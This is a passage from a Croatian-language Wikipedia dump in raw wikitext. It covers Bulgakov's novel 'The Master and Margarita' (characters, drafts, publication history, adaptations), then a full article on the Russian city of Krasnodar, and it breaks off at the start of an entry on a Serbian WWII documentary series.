vraćen Margariti). ==== Frida ==== Grešnica pozvana na Wolandov bal. Nekoć je ugušila neželjeno dijete maramicom i zakopala, za što je trpjela kaznu posebne vrste - svaku noć joj je sobarica ostavljala na noćnom ormariću tu istu maramicu (koliko god da se trudila riješiti je se dan prije). Margarita je primijećuje na balu i obraća joj se osobno (predlaže joj da se napije i sve zaboravi), što kod Fride budi nadu za oprost. Nakon bala dolazi vrijeme da Margarita izgovori svoju jedinu glavnu molbu Wolandu, radi koje je dala u zalog svoju dušu i postala kraljica sotonskog bala. Margarita ocjenjuje svoje zanimanje za Fridu kao neoprezno pobuđivanje nade da će je izbaviti od vječne kazne, ona pod utjecajem osjećaja žrtvuje u korist Fride svoje pravo na jedinu molbu. ==== Barun Majgel ==== Djelatnik [[NKVD]]-a koji je određen da špijunira Wolanda, predstavlja se kao namještenik Scenske komisije koji radi kao upoznavatelj stranaca sa znamenitostima prijestolnice. Ubijen je na balu kao žrtva, njegovom je krvlju napunjena čaša Wolanda. ==== Arčibald Arčibaldovič ==== Direktor restorana "Dom Gribojedova", grozan upravitelj i čovjek s fenomenalnom intuicijom. Ekonomičan je i, po običaju sustava društvene prehrane, nepošten. Autor ga uspoređuje s kapetanom koji mora posljednji napustiti brod u plamenu. ==== Arkadij Apolonovič Semplejarov ==== Predsjednik "Akustičke komisije moskovskih scena". U Varijeteu, na seansi crne magije, Korovjov razotkriva njegove ljubavne pustolovine. === Jeruzalem, I. st. n.e. === ==== [[Poncije Pilat]] ==== Peti prokurator [[Judeja|Judeje]] u [[Jeruzalem]]u, okrutan i vlastan čovjek, koji je usprkos tome osjećao simpatiju prema Ješui za vrijeme njegova saslušanja. Trudio se zaustaviti uhodani mehanizam pogubljenja za uvredu cezara, no nije uspio, te se zbog toga kajao čitav život. Patio je od jake migrene od koje ga je izbavio Ješua za vrijeme saslušanja. ==== Ješua Ha-Nocri ==== Putujući filozof iz [[Nazaret]]a kojeg opisuje Woland na Patrijaršijskim ribnjacima, a također i majstor u svojem romanu, te kojeg uspoređuju s likom [[Isus Krist|Isusa Krista]]. Ime Ješua Ha-Hocri na hebrejskom znači Isus (Ješua ישוע) iz [[Nazaret]]a (Ha-Nocri הנוצרי). Međutim, ovaj lik se značajno razlikuje od biblijskog prototipa. Karakteristično je što govori [[Poncije Pilat|Ponciju Pilatu]], da je [[Sveti Matej|Levi Matej]] nepravilno zapisao njegove riječi i da će "ta pomutnja trajati još dugo vremena". Pilat: "A što si ti, ipak, govorio o hramu gomili na trgu?" Ješua: "Ja sam, hegemone, govorio da će se srušiti hram stare vjere i da će nastati novi hram istine. Rekao sam tako da bude razumljivije." Humanist koji negira protivljenje zlu nasiljem. ==== [[Sveti Matej|Levi Matej]] ==== Jedinstveni sljedbenik Ješue u romanu. Pratio je svog učitelja do same smrti, a zatim ga je skinuo s križa da bi ga sahranio. Također je imao namjeru ubiti Ješuu da ga spasi od muka na križu, no na kraju nije uspio. Na kraju romana dolazi Wolandu (šalje ga Ješua) s molbom da podari mir Majstoru i Margariti. ==== Josip Kaifa ==== Judejski prvosvećenik, glava Sinedriona, osudio je Ješuu na smrt. ==== [[Juda Iškariotski|Juda iz Kiriata]] ==== Mladi žitelj Jeruzalema koji je predao Ješuu u ruke Sinedriona. [[Poncije Pilat]], koji je trpio zbog svojeg sudjelovanja u pogubljenju Ješue, organizirao je tajno ubojstvo Jude zbog osvete. ==== Mark Štakoraš ==== Centurion, Pilatov stražar, unakažen u borbi s Germanima, ispunjava obveze sprovodnika i neposredno vodi pogubljenje Ješue i još dvojice prijestupnika. Kad je na gori počela oluja, pribio je Ješuu i druge prijestupnike da bi mogao napustiti mjesto kazne. Druga verzija glasi da je [[Poncije Pilat]] naredio da se osuđenici pribiju (što ne dopušta zakon) da bi im olakšao muke. ==== Afranij ==== Načelnik tajne službe, Pilatov suborac. Vodio je Judino dovođenje i izvršenje ubojstva, te je podmetnuo novac dobiven za izdaju u rezidenciju prvosvećenika Kaife. ==== Niza ==== Stanovnica Jeruzalema, Afranijeva agentica koja se pretvara da je Judina ljubavnica da bi ga po Afranijevom nalogu namamila u klopku. == Verzije == === Prva redakcija === Vrijeme početka rada nad romanom [[Mihail Bulgakov|Bulgakov]] označava u raznim rukopisima kao [[1928.]] ili [[1929.]] godinu. U prvoj redakciji roman je imao nazive kao "Crni mag" (rus. "Чёрный маг"), "Kopito inženjera" (rus. "Копыто инженера"), "Žongler s kopitom" (rus. "Жонглёр с копытом"), "Sin V." (rus. "Сын В."), "Turneja" (rus. "Гастроль"). Prvu redakciju "Majstora i Margarite" uništio je sam autor [[18. ožujka]] [[1930.]] godine nakon što je dobio obavijest o zabrani komada "Moliere" (rus. "Кабала святош" ili "Magija prijetvornika"). [[Mihail Bulgakov|Bulgakov]] je napisao u pismu vladi: "I osobno sam ja, svojim rukama, bacio u peć prvi nacrt romana o đavolu ...". Rad nad romanom obnovio je [[1931.]] godine. Za roman je napravio skice, pri čemu su se već spominjali "Margarita" i njezin, tada još bezimeni pratilac - budući "Majstor", a "Woland" je dobio svoju obijesnu svitu. === Druga redakcija === Druga redakcija, stvarana do [[1936.]], imala je podnaslov "Fantastični roman" i varijante naslova "Veliki kancelar", "[[Sotona]]", "Evo i mene", "Crni mag", "Kopito inženjera". === Treća redakcija === Treća redakcija, započeta u drugoj polovici [[1936.]] godine, u početku se nazivala "Knez tame", no već [[1937.]] godine pojavio se naslov "Majstor i Margarita". [[25. lipnja]] [[1938.]] godine preštampan je puni tekst (štampala ga je O.S. Bokšanskaja, sestra J.S. Bulgakove). Autorska korektura trajala je gotovo do same smrti pisca, Bulgakov ju je završio na Margaritinoj frazi: "Pa onda znači da iza lijesa idu književnici?"...<ref>M. Čudakova O romane // Mihail Bulgakov. Izbrannoje, Moskva, 1980.</ref> == Povijest izdavanja romana == Za života je autor u svojem domu čitao pojedine odlomke bliskim prijateljima. Dosta kasnije, [[1961.]] godine, filolog A.Z. Vulis pisao je rad o sovjetskim [[Satira|satiričarima]] i sjetio se pomalo zaboravljenog autora "Zojkinog stana" i "Crvenog otoka". Vulis je saznao da je njegova udovica živa i uspostavio je s njom kontakt. Nakon prvotnog razdoblja nepovjerenja, Jelena Sergejevna mu je dala da pročita rukopis "Majstora". Potreseni Vulis pričao je o njemu mnogima, nakon čega se po književnoj [[Moskva|Moskvi]] počelo pričati o velikom romanu. To je dovelo do prvog izdavanja u časopisu "Moskva" [[1966.]] (u nakladi od 15 tisuća primjeraka). Tamo su se nalazila dva predgovora, Konstantina Simonova i Vulisa. Puni tekst romana, zahvaljujući zauzimanju K. Simonova, izašao je već nakon smrti J.S. Bulgakove [[1973.]] godine.<ref>M. Bulgakov Belaja Gvardija. Teatral'nyj roman. Master i Margarita., Moskva: Hudožestvennaja literatura, 1973</ref>. [[1987.]] godine pristup fondu Bulgakova u Odsjeku rukopisa Biblioteke "V.I. Lenjin" prvi je put nakon smrti piščeve udovice bio otvoren za tekstologe koji su pripremali djelo u dva toma izdano [[1989.]] godine<ref>M.A. Bulgakov Izbrannyje proizvedenija. V dvuh tomah., Kijev, 1989, {{ISBN|5-308-00396-3}}</ref>, a završni tekst je bio izdan u 5.-om tomu sabranih djela [[1990.]] [[Znanost o književnosti]] koja se bavi proučavanjem Bulgakovljeva života i djelá - '''"bulgakovedenije"''' (rus. "булгаковедение") predlaže tri koncepta čitanja romana: povijesno-socijalni (V.J. Lakšin), biografski (Čudakova) i estetski s povijesno-političkim kontekstom (V.I. Nemcev). == Zanimljive činjenice == * [[Staljin]] je telefonirao Bulgakovu [[1937.]] godine (sadržaj njihova razgovora nikome nije poznat). Bez obzira na Veliku [[Čistka|čistku]] [[1937.]]-[[1938.]] ni Bulgakova, ni bilo koga od članova njegove obitelji nisu uhitili. * Smatra se da su u stanu Bulgakova djelatnici [[NKVD]]-a višekratno izvršili premetačinu, te im je bilo poznato postojanje i sadržaj prvobitne verzije "Majstora i Margarite". * U prvoj redakciji nalazio se (danas u potpunosti izgubljen) detaljan osobni opis "stranca" (Wolanda) dužine 15 rukopisnih stranica, a također i detaljan opis zasjedanja Sinedriona na kojem je bio osuđen Ješua i koje otvara prvo "jeruzalemsko" poglavlje<ref>[http://lib.ru/BULGAKOW/ma_chernowiki.txt Černoviki romana. Tetrad' 1. 1928—1929 gg. Bulgakov M.A. Velikij kancler. Knjaz' t'my. Moskva, 2000. (''kommentarii V. Loseva'').]</ref>. * Za vrijeme smrti Ješua Ha-Nocri, za razliku od [[Evanđelje|Evanđelja]], ne izgovara ime [[Bog]]a, nego [[Poncije Pilat|Poncija Pilata]]. Prema mišljenju đakona Andreja Kurajeva iz tog razloga (koji nije jedini) jeruzalemsku priču (roman u romanu), s gledišta kršćanstva treba shvaćati kao bogohulnu, - no to, po njegovim riječima, ne znači da se bogohulnim mora smatrati također cijeli roman "Majstor i Margarita"<ref>[http://www.trud.ru/article/02-06-2005/88506_sedmoe_dokazatelstvo_ili_zachem_angelam_nuzhny_lju/print Sed'moje dokazateljstvo, ili začem angelam nužny ljudi. Diakon Andrej Kurajev vozvraščaet bulgakovskij roman pravoslavnomu čitatelju. - "Valerij Konovalov"]</ref>. * U jednoj od redakcija roman se nazivao "Sotona". * Wolanda je u ranim redakcijama zvao Astarot. Međutim, kasnije je to ime promijenio, - vjerojatno, zbog toga što se ime "Astarot" asocira s [[Astarot|istoimenim demonom]], koji se razlikuje od [[Sotona|Sotone]]. * Kazalište "Varijete" u [[Moskva|Moskvi]] ne postoji i nikad nije postojalo. No sada se nekoliko kazališta ponekad nadmeće za naziv<ref>[http://www.bulgakov.ru/t/varyete/] tog istog</ref>. * U predzadnjoj redakciji romana Woland govori: "On ima muževno lice, dobro radi svoj posao, i općenito, ovdje je sve gotovo. Vrijeme je!" - što se odnosi na pilota, lik koji je zatim udaljen iz romana. Moguće je da su se te riječi odnosile na [[Staljin]]a<ref>Mihajlik, Elena, [http://magazines.russ.ru/nlo/2004/66/mih9.html Peremena adresa], Žurnal'nyj zal, NLO, 2004, N66</ref>. * Prema izjavi Jelene Sergejevne zadnje su riječi Bulgakova o romanu pred smrt bile: "Da znaju... Da znaju". * U [[Moskva|Moskvi]] na adresi ul. Boljšaja Sadovaja, d.10, stan № 50 nalazi se muzej koji govori o životu i stvaralaštvu pisca. Tamo se također odvijaju kazališne predstave, svojevrsne improvizacije djelá Mihaila Bulgakova. == Adaptacije romana<ref>''M. Trofimenkov'', ''E. Gerusova'' [http://www.kommersant.ru/doc.aspx?DocsID=636575 S kim ste vi, Majstori i Margarite?] // "Vlast'", № 50, 19. listopada 2005.</ref> == [[Slika:Гелла.JPG|mini|200px|Diana Erkvanidze kao Hella u «Severodvinskom dramskom kazalištu» u gradu [[Severodvinsk]]u.]] === Kazališne adaptacije === ==== U Rusiji ==== * Moskovsko kazalište na Taganki, predstava Jurija Ljubimova iz [[1977.]].<ref>{{Cite web |title=Teatralnyje Novyje Izvestija<!-- Заголовок добавлен ботом --> |url=http://teatr.newizv.ru/news/?IDNews=485&date=2006-02-01 |access-date=2016-08-19 |archivedate=2009-02-08 |archiveurl=https://web.archive.org/web/20090208225837/http://teatr.newizv.ru/news/?IDNews=485&date=2006-02-01 |deadurl=yes }}</ref> * Saratovsko akademsko dramsko kazalište "Karl Marks", predstava Aleksandra Dzekuna, premijera [[22. studenog|22.]]-[[23. studenog]] [[1986.]] godine (predstava se održala dvije noći zaredom). * Valerij Beljakovič - Kazalište na Jugo-zapadu * Vladimir Prudkin - MHAT "Gorki", [[1984.]] ("Bal uz svijeće") * Mihail Zonnenštralj - Moskovsko akademsko kazalište Satire, [[1993.]] ("Šizofrenija, kako je i bilo rečeno") * Sergej Desnicki - Kazalište kod Nikitskih vrata ("Neobični doživljaji Majstora") * Roman Viktjuk ("Majstor i Margarita, ili Snovi Ivana Bezdomnog") * Kirill Ganin - "Majstor i Margarita" * Sergej Aldonin - Moskovsko dramsko kazalište "K.S. Stanislavski" ("Majstor i Margarita") * Aleksandr Gorškov - kazalište "NotaBene" ("Majstor i Margarita") * Sergej Fedotov - Permsko kazalište "Kod mosta" ("Majstor i Margarita") * Valerij Šackij - Rjazansko državno oblasno kazalište lutaka - "Majstor i Margarita" * Mjuzikl "Majstor i Margarita"; autor opere-fantazije - Valentin Ovsjannikov: kompozitor, zaslužan kulturni radnik Rusije, osnivač i rukovoditelj Moskovskog dječjeg kazališta estrade. Režiser Leonid Polonski. Premijera - [[23. rujna]] [[2009.]] * Mjuzikl "Rukopis Majstora" - prvi u Rusiji klasični [[mjuzikl]] prema prvim skicama romana. Glazba - Andrej Pronin, libretto - Tatjana Malikova. Umjetnički rukovoditelj - pisac Oleg Roj. [[Redatelj]] Dmitrij Isaičev. Premijera - [[9. listopada]] [[2010.]] na sceni TOGUK "Tambovkoncerta".<ref>{{Cite web |title=Rukopis Majstora<!-- Заголовок добавлен ботом --> |url=http://www.rukopis-mastera.ru/ |access-date=2016-08-19 |archivedate=2012-03-04 |archiveurl=https://web.archive.org/web/20120304153022/http://www.rukopis-mastera.ru/ |deadurl=yes }}</ref> * Kazalište "Komediant", predstava Aljone Čubarove i Irine Jegorove, predstave po romanu: "Sadova 10. dalje - svugdje…", "Stvarčica", premijera [[2008.]] * MHT "Čehov", redatelj Janoš Sas ==== U svijetu ==== * A. Leljavski ([[Bjeloruska Sovjetska Socijalistička Republika|BSSR]]- [[Bjelorusija]], [[Minsk]]), [[1988.]], Bjelorusko državno kazalište lutaka * V. Masljuk ([[Bjeloruska Sovjetska Socijalistička Republika|BSSR]]- [[Bjelorusija]], [[Minsk]]), [[1988.]], Državno akademsko rusko kazalište "M. Gorki" * Harkovsko državno akademsko kazalište lutaka "V.A. Afanasjev" ([[Ukrajina]], [[Harkiv]]) * Graham Young, [[Velika Britanija]] * Frank Kastorf ([[Njemačka]])<ref>[http://www.selavi.ru/smotr/5chehov/5ch_mm.htm 5 Chechov] {{Webarchive|url=https://web.archive.org/web/20081212084348/http://www.selavi.ru/smotr/5chehov/5ch_mm.htm |date=2008-12-12 }}, C'est la vie...</ref> * Bruno Maks ([[Mađarska]]) * Aleksandr Marin ([[Kanada]]) * Roman Prošnik ([[Austrija]]) * Stefan Moskov ([[Bugarska]]) * Jonas Vajtkus ([[Litva]]) * Oskaras Koršunovas ([[Litva]]) * Sandu Greku ([[Moldavija]])<ref>{{Cite web |title=Teatrul Satiricus — Repertoriu |url=http://www.satiricus.md/repertoriu_ro/maestrul_si_margarita/ |access-date=2016-08-19 |archivedate=2012-03-17 |archiveurl=https://web.archive.org/web/20120317143855/http://satiricus.md/repertoriu_ro/maestrul_si_margarita/ |deadurl=yes }}</ref><ref>{{Cite web |title=VII Festival Bosporski agoni: Kazalište Satirikus |url=http://www.bosportour.com/fond/festival/vii/moldova.html |access-date=2016-08-19 |archivedate=2011-10-04 |archiveurl=https://web.archive.org/web/20111004194328/http://www.bosportour.com/fond/festival/vii/moldova.html |deadurl=yes }}</ref> * Kristian Ljupa ([[Poljska]]) * Kazalište Gešer ([[Izrael]]) rock-opera Avija Benjamina "Vrag u Moskvi", režiser Jevgenij Arje, [[Tel Aviv]], [[2000.]] * Kazalište "I. Franko" ([[Kijev]]) * Kazalište "Gribojedov" ([[Tbilisi]]) * Kazalište Sinetik ([[Sjedinjene Američke Države|SAD]], [[Washington]], [[2004.]], [[2010.]])<ref>[http://www.synetictheater.org/season_1011_mm.html Synetic Theater | 2010/2011 season — 10th Anniversary]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> * Kazalište "Gavella", [[Hrvatska]], [[Zagreb]]<ref>[http://www.gavella.hr/hr/predstave/arhiva_predstava/majstor_i_margarita Gavella, arhiva predstava (Majstor i Margarita)]</ref> * Makedonski Naroden Teatar (MNT), režija: Ivan Popovski, ([[Skoplje]], [[Republika Makedonija|Makedonija]]) === Ekranizacije === * ''[[Pilat i drugi]]'' (Zapadna Njemačka, TV film, [[1971.]], premijera - [[29. ožujka]] [[1972.]], 90 min) - rež. [[Andrzej Wajda]] * [[Majstor i Margarita (1972.)|Majstor i Margarita (film, 1972)]], film ([[Italija]], [[Jugoslavija]], [[1972.]], 95 min) - rež. A. Petrović * Majstor i Margarita ([[Poljska]], TV serija, [[1988.]]-[[1990.]], premijera - [[20. ožujka]] [[1990.]], 4 epizode ~370 min) - rež. Maček Vojtyško * Događaj u Judeji ([[Velika Britanija]], TV film, [[1991.]]) - rež. Paul Bryers * Majstor i Margarita ([[Rusija]], [[1994.]], film, 240 min/125 min (4 epizode ~205 min)) - rež. Jurij Kara * Majstor i Margarita ([[Rusija]], TV film, [[1996.]], 142 min) rež. Sergej Desnicki * Majstor i Margarita ([[Mađarska]], kratkometražni film, [[2005.]], premijera - [[5. listopada]] [[2005.]], 26 min) - rež. Iboja Fekete * Majstor i Margarita ([[Rusija]], TV serija, [[2005.]], premijera - [[19. listopada]] [[2005.]], 10 epizoda, ~500 min) - rež. Vladimir Bortko * Majstor i Margarita - foto-projekt, izložba fotografija ([[Francuska]], [[Rusija]], [[2008.]]) - fotograf Jean-Daniel Lorieux<ref>{{Cite web|url=http://www.vesti.ru/doc.html?id=234994|title="Francuski pogled na Majstora i Margaritu"|archive-url=https://web.archive.org/web/20160304101535/http://www.vesti.ru/doc.html?id=234994|archive-date=2016-03-04|access-date=2016-08-19}}</ref><ref>{{Cite web|url=http://www.kommersant.ru/doc/1094381|title=Foto Master i Margarita|archive-url=https://web.archive.org/web/20161112204231/http://www.kommersant.ru/doc/1094381|archive-date=2016-11-12|access-date=2016-08-19}}</ref> === Muzika === * [[1992.]] postavljena je [[opera]] "Majstor i Margarita" [[Bjelorusija|bjeloruskog]] kompozitora Jevgenija Glebova. Glebov je htio napisati operu još [[1975.]] godine, kad se taj [[roman]] pojavio u časopisu "Moskva", no tada nije mogao dobiti dopuštenje da ga napiše. [[Opera]] se smatra klasikom bjeloruske glazbene književnosti. * [[1995.]] za simfoniju-fantaziju "Majstor i Margarita" kompozitoru Andreju Petrovu je uručena Državna nagrada RF<ref>[http://www.kinokadr.ru/news/2005/09/02/1020.shtml "Master i Margarita" Vladimira Bortka]</ref>. * Kompozitor Aleksandr Gradskij je [[2009.]] završio 30-godišnji rad nad operom u dva čina, četiri prizora "Bilo ili ne bilo", prema romanu "Master i Margarita"<ref>[http://www.gradsky.com/publication/s05_03.shtml Master i Margarita - Aleksandr Gradski]</ref>. * Talijanski kompozitor Ennio Morricone napisao je kompoziciju "Il Maestro E Margherita"<ref>[http://allmusic.com/song/il-maestro-e-margherita-t14858262 Il Maestro E Margherita | AllMusic]</ref>. == Bibliografija == * B.V. Sokolov: Bulgakovska enciklopedija [http://www.bulgakov.ru/ na www.bulgakov.ru] * B.V. Sokolov: Roman M. Bulgakova "Master i Margarita: Očerki tvorčeskoj istorii, Moskva, 1991 * A.N. Nikolajevič: Roman Mihaila Bulgakova "Master i Margarita: aljternativnoje pročtenije", Kijev, 1994. * A.I. Zerkalov: Jevangelije Mihaila Bulgakova, Moskva, 2006. * A.I. Zerkalov: Etika Mihaila Bulgakova, Moskva, 2004. * J.N. Kumok. [http://www.vestnik.com/issues/2000/1205/win/kumok.htm Trudnaja sud'ba "Mastera i Margarity"] {{Webarchive|url=https://web.archive.org/web/20111121175848/http://www.vestnik.com/issues/2000/1205/win/kumok.htm |date=2011-11-21 }} // Vestnik. [[2000]]. № 25&nbsp;(258), 5 dekabrja * G. Melikjanc. {{Cite web|url=http://www.kultura-portal.ru/tree_new/cultpaper/article.jsp?number=468&crubric_id=1002304&rubric_id=1002303&pub_id=453964|title="Strasti po Masteru: K istorii publikacii romana Mihaila Bulgakova"|archive-url=https://archive.today/20120804100023/http://www.kultura-portal.ru/tree_new/cultpaper/article.jsp?number=468&crubric_id=1002304&rubric_id=1002303&pub_id=453964|archive-date=2012-08-04}} * N. Smirnov. [http://noogen.su/woland.htm Djavol li Voland? "Master i Margarita: opyt osmyslenija] {{Webarchive|url=https://web.archive.org/web/20120111094232/http://noogen.su/woland.htm |date=2012-01-11 }} * I.L. Galinskaja [http://ilgalinsk.narod.ru/zagad/z_2joke.htm Kriptografija romana "Master i Margarita"] // I.L. Galinskaja: Zagadki izvestnyh knig, Moskva, Nauka, [[1986]] * R. Romanov. [http://samlib.ru/editors/r/romanow_r_r/mmix.shtml MMIX — God byka] * P. Abragam: Roman "Master i Margarita" M.A. Bulgakova, Brno, 1993. * A.Z. Vulis: Roman Bulgakova "Master i Margarita", Moskva, 1991. * A.P. Kazarkin: Istolovanije literaturnogo proizvedenija: Vokrug Mastera i Margarity" M. Bulgakova, Kemerovo, 1988. * V.V. himič: "Strannyj realizm" M. Bulgakova, Jekaterinburg, 1995. * J.A. Jablokov: Motivy prozy Mihaila Bulgakova, Moskva, 1997. * L. Janovskaja: Treugoljnik Volanda: K istorii romana "Master i Margarita, Kijev, 1992. * E. Filatjev: Tajnaa bulgakovskogo "Mastera…" Sankt Peterburg, 2011. * V.A. Kolganov: Dom Margarity: moskovskije tajny Mihaila Bulgakova, Moskva, 2012 * I.Z. Belobrovceva, S.K. Kuljus: Putevoditelj po romanu M.A. Bulgakova "Master i Margarita", Moskva, 2012. == Povezano == * [[Mihail Bulgakov]] * [[Majstor i Margarita (1972.)]] == Izvori == {{reflist|3}} == Vanjske veze == * [http://www.lib.ru/BULGAKOW/ Rane redakcije romana] * [http://www.bulgakovmuseum.ru/ Moskovski državni muzej "M.A. Bulgakov"] * [http://www.masterandmargarita.eu/ru/ Majstor i Margarita (na nizozemskom, engleskom, francuskom, ruskom jeziku)] * [http://www.bulgakov.ru/ Bulgakovska enciklopedija. Prema materijalu knjige B.V. Sokolova "Bulgakovska enciklopedija"] * [http://menippea.narod.ru Roman M. Bulgakova "Majstor i Margarita": alternativno čitanje] * [http://www.lampada.ucoz.ru/publ/8-1-0-35 Prikaz ideja "Fantastične simfonije" Berlioza u romanu M. Bulgakova "Majstor i Margarita"] * [http://www.planetlive.ru/kim-master-i-margarita.html "Majstor i Margarita: tajne ekranizacije romana] {{Webarchive|url=https://web.archive.org/web/20120113161820/http://www.planetlive.ru/kim-master-i-margarita.html |date=2012-01-13 }} * [http://pereformat.ru/2011/11/master-i-margarita/ R. Časovnikov: "Kapica za Majstora"] {{Webarchive|url=https://web.archive.org/web/20160609195826/http://pereformat.ru/2011/11/master-i-margarita/ |date=2016-06-09 }} * [http://getparalleltranslations.com/ru/параллельный-перевод/Мастер-и-Маргарита/11-en Paralelni englesko-ruski prijevod knjige "Majstor i Margarita"] {{Webarchive|url=https://web.archive.org/web/20101210115011/http://getparalleltranslations.com/ru/%D0%BF%D0%B0%D1%80%D0%B0%D0%BB%D0%BB%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9-%D0%BF%D0%B5%D1%80%D0%B5%D0%B2%D0%BE%D0%B4/%D0%9C%D0%B0%D1%81%D1%82%D0%B5%D1%80-%D0%B8-%D0%9C%D0%B0%D1%80%D0%B3%D0%B0%D1%80%D0%B8%D1%82%D0%B0/11-en |date=2010-12-10 }} [[Kategorija:Romani 1940.]] [[Kategorija:Ruska književnost]] [[Kategorija:Sovjetska književnost]] [[Kategorija:Satirični romani]] [[Kategorija:Romani fantastike]] f3807hgt36uagx8o2ayjaz1uurgu0ua 0 4597421 42602576 42558839 2026-05-27T17:08:53Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602576 wikitext text/x-wiki {{Grad u Rusiji (SR) | naziv = Krasnodar | izvorni_naziv = ''Краснодар'' | slika= | opis_slike= | gradska_zastava = Flag of Krasnodar.svg | grb = Coat of Arms of Krasnodar (Krasnodar krai).png | region= | federalni_okrug = [[Južni federalni okrug]] | kraj = [[Krasnodarski kraj]] | guverner= | gradonačelnik = Vladimir Jevlanov | osnivanje = 1793. | grad_od = 1867. | stara_imena= Jekaterinodar (do 1920.) | stanovništvo = 1.154.885 | izvor_stanovništvo = | godina_stanovništvo = 2025 | gustina = | aglomeracija = 1.773.786 | godina_aglomeracija = | nadmorska_visina = 25-30 | površina = 339,31<ref>{{cite web|url=https://krd.ru/o-krasnodare/istoriya-goroda/|title=История города|work=krd.ru|accessdate=2025-12-28|archiveurl=https://web.archive.org/web/20241214171752/https://krd.ru/o-krasnodare/istoriya-goroda/|archivedate=2024-12-14}}</ref> | vodotokovi= | OKATO_kod = 03401 | poštanski_kod = 350000-350999 | pozivni_broj= +7 861 | vremenska_zona = [[UTC+3]] | gšir = 45.016667 | gduž = 38.966667 | veb-strana = [http://www.krd.ru/ www.krd.ru] }} '''Krasnodar''' ({{jez-rus|Краснодар}}) je grad u [[Rusija|Rusiji]] i administrativni centar [[Krasnodarski kraj|Krasnodarskog kraja]]. Prema proceni iz 2025. u gradu je živelo 1.154.885 stanovnika.<ref name="stan" /> Nalazi se na reci [[Kubanj]], nekih 1540 kilometara jugozapadno od [[Moskva|Moskve]]. Krasnodar je jedno važno saobraćajno čvorište. Za vreme Ruske imperije zvao se '''Jekaterinodar'''.<ref name="ime" /> == Historija == Krasnodar je osnovala carica [[Katarina Velika]] 1793. godine<ref>{{Britannica|323269}}</ref> pod imenom Jekaterinodar kao vojno uporište kubanskih [[kozaci|kozaka]]. Grad je počeo da se razvija dolaskom železničke pruge krajem 19. veka. Današnje ime grad nosi od [[1920]]. godine.<ref name="ime">{{cite web|url=https://krasnodar.ru/content/40/show/34743/|title=Город Краснодар|work=krasnodar.ru|accessdate=2025-12-28|archiveurl=https://web.archive.org/web/20180804204606/https://krasnodar.ru/content/40/show/34743/|archivedate=2018-08-04}}</ref> == Stanovništvo == Prema preliminarnim podacima sa popisa, u gradu je 2010. živelo 744.933 stanovnika, 98.758 (15,28%) više nego 2002. {{DemografijaRU |1939=192766 |1959=313110 |1970=464147 |1979=560438 |1989=620516 |2002= 646175<ref name="2002Census">{{ru-pop-ref|2002Census}}</ref> |2010=744995 |2025=1154885<ref name="stan">{{cite web|url=https://citypopulation.de/en/russia/gorodkrasnodar/|title=Krasnodar City|accessdate=2025-12-25|work=citypopulation.de}}</ref> }} == Privreda == U vreme [[Savez Sovjetskih Socijalističkih Republika|Sovjetskog Saveza]] grad se razvijao kao industrijsko središte. Danas su tu velike rafinerije, kao i fabrike za izradu poljoprivrednih mašina. Pored toga u Krasnodaru je razvijena zemljoradnja (uzgoj voća i povrća): zemlja je veoma plodna. Gaji se i pšenica, suncokret, pirinač. Veliki deo poljoprivrednih proizvoda se izvozi. == Kulturni život == Krasnodar ima više obrazovnih institucija (naročito viših škola), kao i više pozorišta, muzeja i biblioteka. U Krasnodaru se nalazi najveći Poljoprivredni fakultet u Rusiji. == Gradovi pobratimi == * {{ZD|SAD}} [[Tallahassee, Florida|Tallahassee]], [[Sjedinjene Američke Države]] * {{ZD|NJE}} [[Karlsruhe]], [[Njemačka]] * {{ZD|BUG}} [[Burgas]], [[Bugarska]] * {{ZD|KIN}} [[Harbin]], [[Kina]] * {{ZD|ITA}} [[Ferrara]], [[Italija]] == Značajne osobe == * [[Ana Netrebko]], operska pevačica (sopran) rodom iz ovog grada. * [[Genadij Padalka]], kosmonaut rodom iz ovog grada. * [[Lazaros Papadopoulos]], grčki košarkaš rodom iz ovog grada. == Povezano == * [[FK Kubanj Krasnodar|FK Kubanj]] * [[FK Krasnodar]] * [[Spisak gradova u Rusiji]] == Reference == {{reflist}} == Vanjske veze == {{Commonscat|Krasnodar}} * http://krasnodar.online.ru/ * http://www.krd.ru/ {{Webarchive|url=https://web.archive.org/web/20201218140648/http://www.krd.ru/ |date=2020-12-18 }} * http://www.krdblog.com/ {{Webarchive|url=https://web.archive.org/web/20170609071722/http://www.krdblog.com/ |date=2017-06-09 }} * http://kurort.kuban.info {{Webarchive|url=https://web.archive.org/web/20120311231703/http://kurort.kuban.info/ |date=2012-03-11 }} [[Kategorija:Gradovi u Rusiji]] [[Kategorija:Krasnodarski kraj]] g9pvv06ta2g68h9roonmvnk5tehtczg 0 4601176 42602573 42308568 2026-05-27T16:50:49Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602573 wikitext text/x-wiki {{Infokutija02 TV | naslov = Kraljevina Jugoslavija u Drugom svetskom ratu |žanr=[[Dokumentarni film|dokumentarna serija]] | scenario = [[Miloslav Samardžić]] | režija = Miloslav Samardžić | naracija = Saša Pilipović | kompozitor = Dobrica Andrić | država = {{zastava|Srbija}} | jezik = [[Srpski jezik|srpski]] | br_sezona = 3 | br_epizoda = 18 | producent = Milisav Čumić | montaža = Bojan Krstić | trajanje = 30 min. | produkcija = Pogledi<br /> Udruženje boraca KJVuO iz Velike Britanije | premijerno_prikazivanje = [[Radio-televizija Republike Srpske|RT RS]] | početak = [[2014]]. | kraj = [[2015]]. }} '''''Kraljevina Jugoslavija u Drugom svetskom ratu''''' je [[Srbija|srpska]] [[Dokumentarni film|dokumentarna serija]], originalno emitovana na programu [[Radio-televizija Republike Srpske|RTRS]] 2014. godine. Nastala je od 2013. do 2015. u produkciji kompanije Pogledi Udruženja boraca KJVuO iz Velike Britanije, te bavi ratnim i političkim dešavanjima na prostoru [[Kraljevina Jugoslavija|Kraljevine Jugoslavije]] tokom [[Drugi svetski rat|Drugog svetskog rata]].<ref>{{cite web|url=http://www.rtrs.tv/av/pusti.php?id=43766|title=Emisija Nekad bilo|publisher=RT RS|date= |accessdate = 31. 7. 2015}}</ref> Njen autor Miroslav Samardžić je potomak pripadnik [[JVuO|četničkog]] pokreta koji je odrastao u [[Srpska politička emigracija|emigraciji]], te je delom bio motivisan ta da zbivanja prikaže iz perspektive njihovih pristaša. Serija obiluje dokumentarnim ratnim snimcima, od kojih se mnogi prikazuju premijerno: poseta jugoslovenskog [[Petar II Karađorđević|kralja Petra Drugog]] predsedniku [[Frenklin 